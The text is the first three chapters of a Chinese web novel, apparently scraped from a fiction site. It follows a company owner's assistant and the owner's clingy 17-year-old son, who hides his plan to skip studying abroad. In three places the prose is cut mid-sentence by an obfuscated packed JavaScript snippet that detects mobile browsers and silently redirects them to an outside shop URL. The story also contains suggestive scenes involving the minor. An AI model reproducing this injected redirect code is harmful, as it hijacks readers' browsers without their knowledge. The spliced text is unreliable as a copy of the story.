《你以后喝多了别给我打电话》 1. 第 1 章 傍晚六点,三月的暮色降临得很早,天空泛成墨蓝色,城市已经点上路灯。 郜屿宁对着电脑敲完文档的最后一行字,拧着脖子活动筋骨,靠到椅背上呼出一口浊气。 还剩一半的汉堡已经放凉了,他拿起手机,另一只手把连着包装纸团成团,扫了一眼扔进垃圾桶。 这才看见好几条一个小时之前的未读消息。 林缅:哥我到家了。 林缅平时住宿,今天周五晚上放回家。还报备似的带上了他家大别墅的定位。 林缅:没让张叔来接,我坐徐语常家车回去的。 张叔是林家的司机,徐语常应该是林缅的同学。好像是个女生,郜屿宁没什么印象。 “郜助。”郜屿宁走出办公室碰到几个正好在加班的同事,一行人打了个招呼顺路走了一小段。 郜屿宁从毕业就成为总裁助理,一身黑西装长身鹤立、或是穿着皮衣骑摩托,结合他卓越的气质和扮相隐隐给人压迫感,人前风光无限。公司内部早有猜测:郜特助是给老板干些见不得人的脏活儿的。 传到过郜屿宁耳朵里,他暗自戏谑:是挺脏的,给小少爷擦屁股能不脏吗。 等到他一人到地下停车场时,郜屿宁的手机正好又有消息进来。 林缅:下班了吗?记得吃饭。 林缅:哥,你等会记得来接我回去。 “回去”指的是从自己家“回”到郜屿宁家。 郜屿宁:嗯。 林缅:骑摩托来好吗?你好久没带我兜风了。 小少爷指定的坐骑此时就稳稳当当地停在他身边。 但郜屿宁没再回复,直接把手机收了回去。跨坐上车,戴上头盔,推下风镜,一套动作行云流水。 伴着带劲的引擎声,暗色的摩托驶离景佑集团的气派大厦。 晚高峰的汽笛声此起彼伏,蜿蜒曲折的高架上车前灯忽明忽暗,缓慢前进,无不向穿梭自由、速度极致的仿赛摩托投去艳羡的目光。 虽然是全副武装地带着头盔手套,初春的晚风也是刺骨的,冷风直往他的衣领里灌。回到自家楼下时,郜屿宁的脖子上的皮肤还因为冷气而毛孔悉张。 他把头盔和手套摘下后没回家停留,而是直接走向另一辆轿车,准备开车去接林缅。 全然不回复也没理睬林缅要坐摩托兜风的诉求。 汽车是老板林佑勤给他配的车,要是出门谈生意或是接洽客户时骑个摩托显得不正式。 总不能让人坐他摩托后座,跟开摩的似的。 这是林佑勤原话。 当时郜屿宁摸了摸鼻尖,颔首答应。 林佑勤不识货,郜屿宁懒得跟他说。但一般没什么特殊日程的时候他还是照样骑摩托,这辆小轿车倒成了他接送林缅的专车。 林佑勤知道郜屿宁主意大,在这种无可是非的事情上也没再说什么。毕竟让郜屿宁工作之余多照看一下小儿子林缅也是林佑勤当初随手甩给他任务。 郜屿宁熟门熟路地把车开到洺河公馆61栋的院外。看了眼时间,才过了半个小时不到,想着还早便下车抽了根烟。 他靠在车门上,指尖的烟随着一阵冷风悠然地飘散开,不远处气派别墅的门窗里透出明亮温暖的光。 他别开眼睛,手机又突然响了,不出意外又是林缅。 林缅:哥你怎么这么早就来了。 他抬眼看向了别墅,还没找到人影,第二条消息接着又来了。 林缅:好好吃饭了吗?吃什么了呀。 指尖的烟几乎只剩下一个烟屁股,郜屿宁走了两步掐灭了扔进路边垃圾箱里,停顿了一下,准备胡诌自己吃了正经晚饭。 林缅:肯定又没好好吃饭。 郜屿宁无奈地长按删除键,把对话框清空,回复了个省略号。 没过一会儿林缅又发来消息。 林缅:哥,我爸让你进来吃饭。 看到这条消息,郜屿宁停顿了一下,推辞来去显得小家子气,只好把刚抽出来的那根烟重新塞回烟盒里。 家里的阿姨把郜屿宁迎进门,郜屿宁礼貌地笑了一下,“吴姨。” 吴姨带他走向餐厅,“郜助,跟我来吧。先生他们也才刚开始吃呢,先生听说小缅今晚要去您那儿拿作业,所以让您留下来一起用晚餐。” “麻烦您了。” “麻烦什么,一双碗筷的事情。” 林缅本是背对他的位置,听到郜屿宁的声音扭过身来,对他眨了眨眼睛。 “林总,夫人。” 林佑勤和沈珏坐在餐桌的两边,沈珏微笑着示意他坐在林缅的身边。 一对十岁出头的双胞胎坐在林缅的对面,也眨着眼睛看向郜屿宁,并不新奇。 他们对郜屿宁不陌生,看到这个帅哥哥偶尔来给爸爸送资料、但经常来给哥哥送作业。 在林家吃饭的经历不算少数,工作有一部分内容和林佑勤的生活也不可避免有些交集,特别是在和林缅走动密切之后。 今天正好沈珏带两个双胞胎刚从国外旅行回来,本是难得的家庭聚餐,因为郜屿宁的加入,餐桌上的话题却又被林佑勤变成了工作。 其余四人沉默进食,餐桌上气氛微妙,林佑勤似乎并未察觉,郜屿宁只好嗯嗯啊啊地回应。 吃过晚饭之后,郜屿宁跟着林佑勤上楼跟去了趟书房,详谈工作,又被迫加了半个小时的班。 下楼时头昏脑胀的,看见林缅坐在地毯上,正在教两个双胞胎怎么玩他们新买的赛车模型。 弟弟林思安抢哥哥林思涵手里的零件不成,张大了嘴巴眼睛通红马上就要飙出眼泪,准备开启道德压制。 “走了。”郜屿宁在几个小孩身边站定了一会,丢下一句就朝门厅走去。 听到声音,三个人抬眼看向他。林思涵被一道黑色的影子罩住,吓得立刻噤声,连嘴巴都忘记闭上了。 林缅立马起身,捞起丢在沙发上的书包,回头对双胞胎摆手告别,又看到沈珏从楼上下来送他,他稍有拘谨地说了句,“我走了,妈妈。” 不等沈珏回答,他转身很快跟上了郜屿宁,“哥你等等我。” 吴姨送两人到门口,见林缅连从学校带回来的换洗衣物的行李箱都要带走,赶紧说,“小缅,行李箱留下来吧。” 吴姨有些为难和不好意思,毕竟自己是家里的阿姨,林缅的生活起居应该该由她来照料。 她也没想到都已经念高三、快18岁成年了的林缅,就连日常生活也已经黏得这位郜特助这样紧。 等林缅换鞋的空档,郜屿宁正在回工作信息,听闻此言抬眼扫了眼那个箱子,低头时林缅正看向他,似乎在问他意见。 郜屿宁没说话,意思是看你自己。 “好吧,正好骑车也不好拿。”林缅说道。 吴姨收进眼底。但两人似乎都没觉得这种外人看来有些过度粘连的相处模式有什么不对劲的。 两人走出别墅,迎面就是一阵凉风,林缅打了个哆嗦。林缅看见那辆黑色的轿车,远远地就认了出来,拉下来了脸,不情不愿地坐上副驾。 “怎么没骑摩托?” “安全带。”看了一路工作消息的郜屿宁终于舍得把手机放进置物架,发动了引擎。 “好久没兜风了。”林缅听话地把安全带系上,嘴里依旧抱怨。 “你想冻死?”郜屿宁扫了眼中控,把空调打开。 林缅撇了撇嘴,没再反驳。 车正式驶入主路,郜屿宁问,“不是很久没回家了吗?怎么不在家里过周末。” 仔细算来,林缅上一次回家还是一月份过年的时候,过完年没几天林缅就高三开学,沈珏带着双胞胎出国旅行了一个多月,林佑勤则是忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990799|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作不着家。 所以这段时间的节假日林缅都是在郜屿宁家度过的,当时他的说法是家里没人,怪冷清的。 但现在人都回来了,他又说,“他们一家人团团圆圆的,我凑什么热闹。” 林缅是林佑勤的第二个儿子,亲生母亲祝悦在生他时难产去世,自己都没见过,亲哥林准又常年在国外。同父异母的双胞胎弟弟太小没共同话题,不算太亲近。 所以说此话也不是在装可怜或是气话,只是事实确实如此。除此之外,他也是想黏着郜屿宁。 郜屿宁看右边后视镜时扫了眼林缅毛茸茸的后脑勺,没再说话。 车停到郜屿宁家公寓楼下的停车场里。平日里叽叽喳喳的林缅难得沉默了一路,郜屿宁刚准备喊他下车,原来小没良心的早就睡着了。 他下了车走到副驾边上,打开车门后,弯下腰用手背拍了拍林缅的脸,“到家了。” 林缅迷迷糊糊地睁开眼睛,看样子已经睡蒙了。 “还等我背你?”郜屿宁直起身子问,一只手搭在车门上。 “我现在个字很高,你不好背。”林缅又闭上眼睛软绵绵地当真回答。 神经。睡傻了都。 郜屿宁快一米九的个子,从见到他第一面开始,林缅在他眼里一直就跟个一巴掌能扇飞的小鸡崽儿似的。 林缅慢悠悠地下车,抱着书包,还是半梦半醒。 但郜屿宁此时看着林缅突然有些恍惚,在他的记忆里,林缅永远都是刚认识时候那副十四五岁的小男孩儿身板,仰着头也只到他的胸口。 现在看来这几年林缅变化其实很大。长了喉结,瘦瘦高高,个子差不离有一米八了,只差他一个脑袋,也有点正经男人的样子。还特别臭美,寒假跟朋友去烫了小卷毛,现在剪得只剩发尾一点卷儿,刚刚在颈枕上蹭乱了,竖着好几根呆毛。 郜屿宁收回视线,一把把车门带上,没等林缅,转身直接朝电梯间走去。 “哥…你等等我…”林缅揉着眼睛小跑了两步追上郜屿宁。 等电梯的功夫,他都要抓着郜屿宁衣服的下摆,自然地靠到他肩膀上,又咪上了眼睛。 就这股黏人劲儿怎么看怎么是小孩儿。 是喷香水了吗,一股水蜜桃味。 “啧。”郜屿宁皱着眉用手肘顶了顶他,依旧像软骨头似的站不直,直到回到家里林缅倒到沙发上。 郜屿宁家并不大,简单的两室一厅只有一间卫生间,平日里他一个人独居,周末林缅留宿,完全够用,两个大男人也没什么不方便的,几年来一直如此。 郜屿宁洗漱完回了自己房间,整理收拾完,累得眼睛睁不开刚准备上床休息。 卫生间的水声也渐渐停了下来,但下一秒郜屿宁的房门就被敲响了,也不等郜屿宁同意就直接推开了门,伴随着一声,“哥。” 林缅只穿了件宽大的T恤,是几年前第一次在郜屿宁家留宿时郜屿宁借给他的,现在都快被他穿成阿贝贝了。堪堪能把屁股遮住,微微露出内裤的边角,腿上的水珠都没擦干,他走过来的那两步都淌下来好几道。 郜屿宁靠在衣柜上,不让他继续往里走,脸上露出被打扰的不爽,但对方明显没看出来。 依然在低头研究,“哥,我好像又发育了。” 抬起头,眼神是很认真地在困扰,“小裤有点紧,你还有新的吗?” 郜屿宁有些无语,皮笑肉不笑地哼了一声。 “笑什么?”林缅不悦地问。 郜屿宁视线往下移,打量了他一眼,“转过去看看。” 林缅听话地转过身,两只手边捞起衣服的下摆,勒在腰上露出小裤,但还没站稳,郜屿宁就一脚踹在了他屁股蛋上,把他踢出房间。 “我的你穿不了。” 随着落锁的声音,郜屿宁继续说,“明天给你买新的。” 2. 第 2 章 郜屿宁起床便开始收拾下周要出差的行李。 动静不算小,林缅没过一会就打着哈欠从房间里出来了。 看见躺在客厅地上的行李箱,林缅一下子就精神了,朝着郜屿宁的房间门喊道,“哥!” “下周一要去趟白市。”郜屿宁拿着几套衣服从房间里出来,绕过他丢进行李箱,解释道。 林缅头发乱得跟鸡窝似的,额前的头发也呆呆地翘起,露出额角一条淡色的伤疤。 郜屿宁揉了一把他的头发,把那条疤掩住了,“去,洗脸刷牙。” 林缅站在原地不动,明显不悦,“怎么又要出差,为什么非要带你,我爸那么多乱七八糟的助理,怎么什么活儿都让你干。” 总裁特助是比其他职能单一的行政助理、业务助理等都要更高一级,自然也更辛苦一些,各司其职罢了。 郜屿宁没忍住笑了,“你也知道我是你爸的助理,不是你的啊。” 林缅瘪了瘪嘴没说话,拉着脸也等不来郜屿宁来哄,便只好自讨没趣地去卫生间洗脸刷牙了。 “哥!”没安分一会,卫生间里传来林缅的声音,“我牙刷掉马桶里了!” 听闻此言郜屿宁翻了个白眼,一天天的快被这小孩儿气死了,他站起身走向卫生间,不耐烦地问,“你跑马桶边上刷什么牙…” 林缅一脸懊悔地盯着马桶,扭过头来,嘴角还沾着白色的泡沫,“想边尿尿边刷牙…就…” 见郜屿宁一脸的不爽,他又委屈巴巴地加了句,“那么凶干嘛…还打到我唧唧了,可疼了。” 郜屿宁没好气地说,“自己捞。” 林缅自顾自地继续卖可怜,“都红了!你看!”边说边把小裤往下扯,一脸的顾影自怜。 “你他妈有病吧,”郜屿宁骂完了,视线不可避免地还是瞟了一眼,“要药膏吗?” 看在林缅蛋疼得要命的表情上,郜屿宁去药箱里翻出一条软膏丢到盥洗池边上,“记得捞出来,别把马桶弄堵了。” “哦…”林缅一屁股坐到马桶给小林缅涂药。 门铃响了,郜屿宁正好没眼看,去拿了外卖。 没过一会,林缅走进厨房拿了双筷子,经过他身边看都没看他一眼,又跑出去了。 郜屿宁一脸懵不知道他又要整什么幺蛾子,放下醋碟跟他走出来。 走到卫生间门口,只见林缅蹲在马桶边上拿着双筷子,抬起手臂,一脸嫌弃地在够掉进马桶里的牙刷。 郜屿宁的视角这幅画面实在诡异得好笑,他抱着手臂靠在门框上,好整以暇,没忍住笑出了声。 林缅拧着眉毛,看向门口跟大爷似的看戏的郜屿宁,郜屿宁在笑什么不言而喻,他脸胀得通红,语气愠怒,“不许笑!” 郜屿宁越是见他这样越要调侃。 林缅艰难地把牙刷晃晃悠悠地丢进垃圾桶里,筷子也一起丢了进去。他沉着脸走到洗手池边上,看都不看在旁边郜屿宁,气呼呼地快把手都搓掉一层皮了。 洗完手,林缅的不高兴依旧明晃晃地写在脸上,用力撞开快把半个门口都要挡住的郜屿宁,没去餐桌而是倒在沙发上。 郜屿宁把早餐从厨房里端出来,“过来。” “没胃口。”林缅扭过头看着阳台外,故意冷着语气。 郜屿宁用筷子敲了敲碗边,发出清脆的声音。 林缅条件反射似的转头看向郜屿宁,看见压着嘴角憋笑的郜屿宁,顿了两秒才意识到自己像条小狗。 郜屿宁不逗他了,直接端着盘子放到茶几上,夹了一个汤包,轻轻沾了沾醋,用醋碟托着送到林缅的嘴边。 林缅这才面目微微松动,垂下眼睛,看似不情不愿地把一整枚小汤包包进嘴里。 郜屿宁心里明镜儿似的,林缅膈应不想自己碰吃的,换做平时早就颐指气使地让郜屿宁喂他了。 说到底还是在为别的事情在置气。 “下周末之前能回来,周五放学我去学校接你。” 林缅抬眼看了他一眼,终于乖乖吞下一枚送到嘴边的汤包,把嘴里包的满满的,装作不在意地说,“好吧,你自己说的。” 跟小孩子过家家似的,闹别扭容易和好更容易,两人才算正式和解。 “你之前申请的那几个学校放榜了吗?怎么好久没听你提了。” 林缅从初中开始就被计划好了一条本科留学的路,高中上的是国际学校,现在三四月份正是美本RD放榜高度集中的时候。 林缅被汤包的汤汁儿呛了一下,偏过头咳嗽的间隙把送到嘴边的下一个汤包推到郜屿宁面前,“等你回来再说吧。” 郜屿宁把最后一个汤包送进嘴里,起身收拾碗筷,随口问,“你想去哪?” “…随便。” “怎么稀里糊涂的,你自己的事情一点主意没有。” 林缅看着郜屿宁的背影抿直了嘴巴,神情黯淡下来,“我自己的事情自己知道…别念叨了…” 说完回了自己房间。难得一个周末林缅原本是想留在家里和郜屿宁打游戏的,但现在提及留学的事情,他不仅没了兴致,最害怕的是被他哥知道他不打算出国的心思。 林缅背上书包走出房间,郜屿宁正在收拾行李。 “哥,我去找我同学一趟。”林缅走向门口。 郜屿宁抬头扫了一眼,居然还背了书包,够新鲜的,“要送吗?” “不用,徐语常就在附近,我跟她一起去。”说话的功夫一溜烟儿跑了出去。 和徐语常碰头的时候,他还是愁容满面,两人一起到市图书馆,陈汋已经帮池景行复习了有一会儿了。 林缅从书包里掏出习题,咬着笔头,作为旁听生听陈汋给池景行讲模考题。 四个人在初中就是同一个班的,后来上了高中也都是同一个国际高中。只不过徐语常和林缅在国际部,而陈汋和池景行则是上的普高部。 徐语常见林缅被圆锥曲线折磨得面色蜡黄,没忍住笑出了声,另外三人一齐抬头看向她。 “不是,你真想参加高考啊?” 林缅的小卷毛已经在冥思苦想时被自己薅得乱七八糟,此时抬起头显得更憔悴了,他痛苦地瘫在桌上,“我真不想出国…” 实际上,RD的两所保底院校都已经给他发“Congratulations!”了,但他一想那硕大、醒目的字眼就头疼得要命。去年年底EA给了他Defer的院校,都被他阳奉阴违地迟迟不交love letter硬生生拖成Reject。 对于大学霸可能留学或高考都是选择,但是林缅向来都是及格万岁,要不是有人拿鞭子抽他他才不会多学一个字。 更何况出国留学和国内参加高考从一开始努力的方向就是大相径庭的。所有科目里也就英语拿得出手,高数就学得吭哧瘪肚,数学压轴题自然是无从下笔,更别说语文,这门课已经被他完全丢掉了。 池景行也看不下去了,指了指他面前那张卷子上的那道大题,“林缅,这道题我都会了…” 陈汋轻轻拍了拍池景行的脑袋,让他继续写题。 陈汋拿过他的卷子,“去年你跟老胡说要高考,我们还以为你是心血来潮呢,真没想到坚持这么久。” 陈汋把卷子翻来覆去的看了一遍,夸张地说,“看来你是真的很想上大专。” 林缅捂着胸口,感觉心痛得要滴血,“大专惹你了…” “没事儿,既然林叔都同意你留在国内了,肯定会给你托底。”徐语常安慰道。 却看见林缅的脸色更难看了,她瞪大了眼睛,“不是吧!你还没告诉你爸?” “哎呀别说了别说了…”林缅一声哀嚎又趴到桌上,手脚并用地猛蹬起来。 “你哥呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990800|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?你哥总该知道吧?”陈汋问。他们都知道林缅有个把他从头管到脚的但比亲哥林准还亲的哥。 被哪壶不开提哪壶的林缅把脸埋得更深,“我最怕的就是他知道。” 陈汋问,“可是你到底为什么不想出国了?之前不还说想去找你亲哥。” “我也不知道,就是不想…”林缅把水笔按得直响。自从他六岁那年亲哥出国之后,他一直念叨到上初中,但现在提及他亲哥,他只想一笔带过,“而且,这都多久之前的事情了…” “小行,你把陈汋借我两天,给我补补课吧。”林缅猛得抬起头,一脸苦相。 池景行原本成绩特别烂,但在哥哥陈汋的努力下,现在已经勉强能够上一个不错的本科。 徐语常嗤笑了一声,“人家是兄弟俩,白天晚上都在一块补课,小行才有这么大进步的,你有这个条件吗?” 池景行看了陈汋一眼,认真地对林缅说,“你也可以找你哥哥补课啊,他当时上的可是江大的本硕连读,教你不是很容易。” 吹嘘郜屿宁有多厉害多帅是林缅以前最热衷的话题了,但是现在又提郜屿宁,林缅只觉得自己死得更透了。 “哎…那我给你推荐个网课吧,”池景行把平板推到林缅的面前,是一个针对高考数学的出题方式和解题技巧的名师的视频,“其实多练练…熟练了就会好很多…” 看着两个学渣你来我往地相互交流经验,陈汋还怪欣慰的。 晚上吃过晚饭才回家,天色已经暗下来了。换做平时他早就归心似箭,但现在他从小区门口走到公寓楼下慢吞吞地踢着石子儿,只想拖延回家的时间。 走到楼下时烦闷依旧,他四处张望确定没人后,从书包侧袋里拿出一根小银管,塞进嘴里抿了一口,提起裤腿儿准备到旁边隐蔽的台阶上坐一会。 他背靠在台阶上,百无聊赖地把玩着手里的电子烟,吐出一团淡淡的烟雾,水蜜桃味钻进他的鼻腔里,烦闷总算是消减了一些。 “林缅。” 不着情绪的声音从林缅的视线盲区传来。 林缅吓得一激灵,毛孔都立了起来,把电子烟握紧了藏在身后站起了身,缓慢地探出头。郜屿宁就面无表情地站在墙的转角处,夜色里眉眼笼在阴翳里,往前走了两步。 “拿出来。” 空气中的若有似无的水蜜桃味儿还在飘飘然地蔓延。郜屿宁记得昨天在他身上闻到的就是这个味道,眉头蹙起。 林缅的心彻底死了,不情不愿地从犄角旮旯里走出来,“哥…” “拿出来。”郜屿宁又重复了一遍。 林缅慢吞吞地把手里的东西放在他的掌心,因为攥得太紧都起了一层汗,他局促地贴在裤缝上蹭了蹭掌心。 郜屿宁拿起扫了一眼,又看了眼林缅,“长本事了?” “哥,我就是…” 不等他解释,郜屿宁直接把东西丢进旁边的垃圾箱里,没再理林缅,自己走进了单元门。 林缅慌张地跟了上去,郜屿宁走进电梯,电梯快要合上,郜屿宁也没帮林缅摁着开门,林缅挤进来的时还被电梯门夹了一下。 林缅偷瞟了郜屿宁好几眼后,试探性地碰了碰郜屿宁的手背,这才看见郜屿宁手里拎了个纸袋子。 他拿过纸袋子放左手上,用右手去勾郜屿宁的手,没被甩开却也没回握,就把他当空气一样,这让他更难受了。 跟进家里,他把手里的纸袋放到沙发上准备好好哄他哥,但看到袋子上是一个服装品牌的logo,里面装着两个包装盒,林缅倒吸了一口凉气。 他哥正好去对面商圈帮他买内裤回来,估计都跟了他一路了。 “就是什么?” 郜屿宁不悦的声音在身后响起,手机不轻不重地放到桌上,把脱下的冲锋衣挂到门口衣架上,袖子微微挽起,露出一截线条紧致的小臂。 3. 第 3 章 林缅把书包丢在沙发上,垂下脑袋,看上去像是受了多大委屈。 见他不回答,郜屿宁走到他面前,眉头微蹙着,“你成年了吗?哪儿来的。” “我就是想尝个味道…”林缅低声为自己辩驳着。 “哪儿来的?”不等他说完,郜屿宁又厉声问了一遍。 林缅只好如实回答,“我让徐语常给我带的…”但很快抬起头闪着眼睛,抓住他的小臂晃了晃,态度诚恳,“哥,我知道错了…我保证,以后绝对不会再碰了!” 又是徐语常,最近这个名字出现的频率很高。郜屿宁抽出自己的手臂,用食指点了点林缅的脑袋,“再让我发现一次…” 这次不等郜屿宁说完,林缅就赶紧攥住郜屿宁的那根食指,另一只手也握了上去,“绝绝绝绝绝绝对不会了!” 郜屿宁没在林缅偷偷抽烟这件事情上多做教训。青春期的小孩儿对这种东西新奇也是正常的,更何况他最了解林缅不过,警告他一次借他十个胆子都不敢再犯。 郜屿宁把纸袋拎到另一边,问道,“最近碰到什么事儿了?回来路上七拐八绕的,还偷偷在楼下抽烟,这么不想回家?” 果真还是被郜屿宁看到了,林缅被郜屿宁说得自己像是那种宁愿躲在车里抽烟也不肯上楼回家的婚后男人,继续嬉皮笑脸,“没事啊…” “你最好没事儿,别让我发现你又憋了什么心思。”郜屿宁没再逼问他。 郜屿宁刚放了他一马,但想到他还瞒了一件天大的事他只敢小声嘟囔了一句,“可是我也大了,有点自己的秘密不是很正常吗…” 郜屿宁觉得有点好笑,起身拎着纸袋拍在他的胸口,“行,拿着你的秘密滚吧。”说完回了自己房间。 “哥!”拉长了尾音,林缅瞪着郜屿宁的背影,脸臊得一阵红一阵白。 林缅晚上躺在床上辗转反侧到半夜,还在思考该以什么形式告诉郜屿宁他不打算出国的消息,更何况他的成绩现在实在拿不出手,直接宣布无异于直接说“我不想活了”… 他痛定思痛,还是先提升成绩最重要。 他开了个床头夜灯,一骨碌翻身下床,捧着平板电脑和草稿纸又爬回床上,在网上搜索白天池景行推荐给他的那个数学网课。 原本振奋的势气几道大题接连下来,已经被磨灭光了,林缅头昏脑胀,面红耳赤,巨大的计算量他算得抓耳挠腮,草稿纸用掉一张又一张,他烦躁得团成团丢在地上。 突然听到外面脚步声,接着房门就被敲响了,“怎么还不睡?” 只是一盏小夜灯怎么门缝里都能漏光。 林缅赶紧手忙脚乱地把纸笔藏进被子里。 “啊…咳,我睡了…哥…”林缅开口发现自己嗓子都哑了。 郜屿宁一听就知道他在扯谎,还没等他收拾完就推开了房门,“这么晚不睡你…” 话说一半就顿住了。 “哥…”林缅声音有些发颤。 他扫见床边的地上好几个用过的纸团,林缅窝在被子里,只露出一张小脸,面色潮红,看上去都快缺氧了。一只手死死地把平板扣在身上,另一只手躲在被子里… 在干什么不言而喻。 真撞破了林缅“秘密”的郜屿宁也有几分不自然地摸了摸鼻子,他别过眼睛,低声说了句,“我服了…” 又交代道,“弄完自己收拾好,以后去卫生间弄…记得锁门…” 说完就出了门。 林缅这才听出来郜屿宁是误会了,赶紧起身,嚷嚷道,“哥!哥哥!不是…我没有…” 但是房门早就关上了。 第二天郜屿宁见林缅起床后没精打采地坐在餐桌边,小脸蜡黄,一脸肾虚的样子。 只以为是林缅最近申请期压力大,又是抽烟又是…郜屿宁把脸埋进手掌,用力搓了一把,有点像不知道怎么跟青春期孩子沟通的老父亲。 他把早餐放到林缅的面前,轻咳一声,没头没尾地来了一句,“你知道节制吗?” 那一地的纸团回答了这个问题。 林缅闭了闭眼睛,又不能澄清自己在上网课,有苦难言,“知道了…” “还有,别乱用东西…注意卫生。” “哥…我知道…” 郜屿宁还准备继续说,林缅脸红到脖子,有些扭捏地说,“哥!你别说了…” 郜屿宁喉结滚动,把还没说出口的话也硬生生咽了下去。 周一早上,林家司机张叔要送林佑勤和郜屿宁去机场,正好把林缅送去学校。 车停到家门口时,林缅还没睡醒,原本软趴趴地靠在郜屿宁身上,一看到林佑勤一下子就醒了。 “爸…张叔。”他绕到后座的另一边上了车。 郜屿宁坐到副驾驶上,透过后视镜观察着这对父子。 林佑勤厉声道,“站没站相,坐没坐相。” 林缅从小到大被林佑勤嫌弃习惯了,也学会了左耳朵进右耳朵出,从不往心里去。 “你妈妈让你下周回家。之前家里没人不住在家里就算了,现在整天不着家像什么样子。” 妈妈指的就是沈珏。在沈珏生下双胞胎之前,没见过亲生母亲的林缅和沈珏也是有过很长一段亲如母子的时光。现在想来林缅都觉得温馨,但后来六岁那年沈珏有了自己的孩子,林缅很知趣地疏远了一些,没再做惹人嫌的麻烦精。 “又不是我想里家里连个活人都没有的…” “你说什么!”听到林缅顶嘴的林佑勤勃然大怒。 林缅抿着嘴,不再回答。 林佑勤气极了,大声数落道,“你说说你,又没你大哥有本事,也没你两个弟弟聪明懂事,也不知道你到底像谁!” 车内气氛紧张,坐在前排的两个人背脊都僵硬了,但耳朵却竖得直。 “连入学考试都能一起考不及格,也不知道你从哪看出来他俩聪明的。”林缅低声回嘴,但在车里听得一清二楚。郜屿宁用力把嘴角压平。 林佑勤气得额角青筋暴起,要不是在车里不顺手,他早就一巴掌扇到林缅脸上了。小的时候林缅被打是常事,只是现在林缅大了不稀罕跟他故意作对连争吵也少了,大多是林佑勤单方面的数落,林缅随便听听就糊弄过去了。 “赶紧滚出国,眼不见心不烦。” 林缅心里一揪,咬着嘴唇不再说话。 车停在学校门口,林缅下了车,“我走了,张叔,哥。”最后才不情不愿地喊了声,“爸。” 小少爷下车之后,张叔本想打个圆场,但扫了眼后视镜林总早恢复了往日里精明大义的模样,丝毫没有为儿子头疼的痕迹,又在跟郜特助交代工作了。 郜屿宁面不改色地回应。 郜屿宁和林总落地后对方公司安排的人已经等在接机口,送他们到酒店。他们和周日提前来的几位同事碰头后开了个短会,又投入紧锣密鼓的工作中。 接连三天,郜屿宁忙得晕头转向,虽然累但工作却推进的很顺利。 得空闲下来,他才想起来,一向黏人的林缅这几天都没怎么跟他联系。 “郜助,车已经到了,”李秘从林佑勤的房间里出来,碰到正在走廊的郜屿宁,通知他参加晚上的应酬。 郜屿宁应了一声,心里思量着,不会是前几天跟他爸吵架真往心里去了吧,他给林缅发了条消息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990801|193694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郜屿宁并不喜欢参加这种酒局,但为了工作不可避免,无非是一帮事业有成的中年男人吹牛…他帮着林佑勤挡了几轮酒,趁着他们吹牛的功夫,他溜出去透了透气。 他走到露台想抽根烟,手机正好响了,本以为是林缅,却没成想是一串陌生号码,清了清嗓子,接起电话。 “喂?是林缅哥哥吗?”对面一个中年男人的声音。 郜屿宁顿了一下,又拿下手机看了眼号码,确实没有备注,“嗯,是,您是?” “你就叫我,胡老师吧,你们…” 郜屿宁有些紧张地问,“是、是林缅他怎么了吗?” “也不是。”胡老师清咳了两声,这次语气还算不错,“林缅哥哥,我就是想问问,你们真的想清楚了吗?” 郜屿宁被问得云里雾里,“什么想清楚?” 胡老师只好开门见山,“林缅最近挺用功的,确实也是个聪明孩子,但说不想出国了,要参加高考是不是太草率了一点?” 听闻此言,郜屿宁眼睛慢慢睁大,手里的那根未点燃的那根烟一下子被他对折掐断了,“不是…” 胡老师自顾自地继续讲,“我也找他聊过,决心特别坚定,但还是要慎重嘛!” “而且他都已经有不错的录取通知了,但留下国内可能只能考个普通本科,不值当。” “所以我想问问你们家长到底是怎么想的?” 郜屿宁手里的那支烟早就被蹂躏得不成样子,他呼出一口气,“好的胡老师,我…我再跟他聊聊…” “这次他也参加了全市的模考,成绩…也只能算中等。” 郜屿宁烦躁地应和,“明白…胡老师。” “哦,他还自说自话跑来我们普高部旁听了,我算是…算是他现在的班主任。”老师现在才自我介绍完,有些惆怅地叹了口气。 “啧。”郜屿宁把手插进发根里,胡乱地抓了抓,在对方准备挂电话之前,又补充道,“辛苦胡老师了,还有…麻烦把林缅这次考试的卷子拍给我看一下。” “哦…好…” 刚挂下电话,林缅的消息就进来了。 林缅:哥我好想你[亲吻][亲吻],周五你答应过来接我的[玫瑰][玫瑰][玫瑰] 林缅:我不回家,别理我爸。周五要来接我。 郜屿宁的火气一下子窜到了天灵盖。 原来老实了这么长时间憋了个大的。真是应了那句话,孩子静悄悄,必定在作妖。 郜屿宁在外面连抽了好几根,再回包厢时酒局已经接近尾声。林佑勤回车上时走路都有些开始打飘。 